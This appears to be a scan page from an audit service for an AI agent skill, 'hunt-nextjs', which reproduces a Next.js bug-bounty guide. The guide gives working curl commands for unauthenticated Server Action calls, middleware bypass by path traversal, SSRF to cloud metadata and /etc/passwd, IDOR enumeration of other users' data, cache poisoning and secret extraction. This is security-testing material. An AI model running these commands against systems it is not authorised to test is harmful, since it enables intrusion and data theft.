hunt-nextjs — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited hunt-nextjs (Agent Skill) and scored it 100/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 0 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.
Highest-value chains:
/_next/data/ IDOR/_next/image?url=&w=&q= Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame Debug stack frame endpoint
/_next/static/chunks/ JS bundles — source map candidate
/api/ API routes — standard hunt surface
__NEXT_DATA__ in HTML SSR props leaked to client
x-nextjs-* response headers Confirms Next.js# Confirm Next.js and get build ID
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"
# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"
# Check Next.js version via package disclosure
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'
# Source map exposure
curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null
# Call Server Action directly without auth
curl -s -X POST https://$TARGET/target-page \
-H "Next-Action: ACTION_ID_HERE" \
-H "Content-Type: multipart/form-data; boundary=----" \
-H "Cookie: " \
--data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'
# Test: does the action execute without a valid session?
# If it returns data or mutates state → auth enforcement is client-side only# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# → 200 means accessible
# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"
# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl -s "https://$TARGET/_next/static/../admin/dashboard"
# Encoded path bypass
curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"/_next/image)# Basic SSRF test — internal metadata
curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"
# Protocol bypass attempts
curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"
# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
COLLAB="http://UNIQUE.COLLAB_HOST"
curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
# Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomainFALSE-POSITIVE GUARD (read before claiming SSRF): /_next/image only fetches URLs allowed by images.remotePatterns / images.domains in next.config.js. A non-whitelisted url returns 400 by default — that is the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A 200 returns an optimized image, not the upstream response body, so a status code alone NEVER confirms SSRF. Confirm only via an out-of-band callback to a unique Collaborator subdomain (above), or by body-diffing a known-internal vs known-external target. Do not report on status code.
Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0 through < 14.1.1, fixed in 14.1.1) is a Server Actions SSRF — a relative redirect that trusts theHostheader — NOT a/_next/imagebug, and it does NOT affect Host-routed providers like Vercel. See Phase 2 for the Server Actions surface.
/_next/data/ IDOR & Data Leakage# Enumerate prerendered JSON for user-specific data
# Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \
-H "Cookie: session=VICTIM_SESSION"
# Try other users' data
for ID in 1 2 3 100 1000; do
curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
done
# Check __NEXT_DATA__ in HTML for sensitive server-side props
curl -s "https://$TARGET/dashboard" | \
python3 -c "import sys,re,json; m=re.search(r'<script id=\"__NEXT_DATA__\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"# ISR pages regenerate on request after revalidation period
# If user input influences the static page content without sanitization:
# 1. Trigger revalidation with malicious input in URL/query
# 2. Injected content cached and served to all users
# Test: does query param affect cached page content?
# Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,
# and confirm the response was actually CACHED + served to a DIFFERENT client.
MARK="zqx$(date +%s)"
# 1) Poison with the marker
curl -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.
# Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected
# marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.
curl -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"
# On-demand revalidation endpoint (if exposed)
curl -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
curl -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"Precondition: __nextjs_launch-editor and __nextjs_original-stack-frame are react-dev-overlay middleware mounted ONLY under next dev. A production build (next build && next start) does not register these routes — a 404 here is the normal, expected result, not a "filter" you need to bypass. They are reachable ONLY in the rare misconfiguration of literally running next dev in production. Treat any non-404 as the real finding; do NOT report a 404/filtered response as confirmation.
# First confirm dev mode is actually exposed (anything but 404 = dev server in prod)
curl -s -o /dev/null -w "%{http_code}" \
"https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"
# Only if the above is NOT 404: the launch-editor / stack-frame endpoints can
# reference local files (file-read surface of a dev server wrongly exposed)
curl -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
curl -s "https://$TARGET/__nextjs_original-stack-frame" \
--data '{"file":"/etc/passwd","line":1,"column":1}'# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets
curl -s "https://$TARGET/_next/static/chunks/pages/_app.js" | \
grep -oE "NEXT_PUBLIC_[A-Z_]+['\"]?\s*[:=]\s*['\"]?[^'\"&\s]+"
# Check for non-public vars accidentally exposed
curl -s https://$TARGET/ | python3 -c "
import sys, re, json
m = re.search(r'__NEXT_DATA__.*?({.*?})</script>', sys.stdin.read(), re.S)
if m:
d = json.loads(m.group(1))
print(json.dumps(d.get('props', {}), indent=2))
"| Next.js finding | Chain to | Impact |
|---|---|---|
| Server Action no auth | Call privileged mutations directly | Data manipulation / admin access |
/_next/image SSRF | Cloud metadata → IAM creds | Cloud compromise |
/_next/data/ IDOR | Other users' server-side props | PII / token exfil |
| Middleware bypass | Protected admin routes | Auth bypass |
| Source map exposed | Reconstruct TS source → find hardcoded secrets | Further vulns |
__NEXT_DATA__ leaks | Server-side secrets in HTML | API keys / tokens |
✅ Server Action: action executes without valid session, returns data or mutates state ✅ SSRF: DNS/HTTP callback received from /_next/image SSRF ✅ Middleware bypass: 200 response on protected route without auth cookie ✅ Data leak: __NEXT_DATA__ contains non-public secrets or other users' PII
Severity:
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.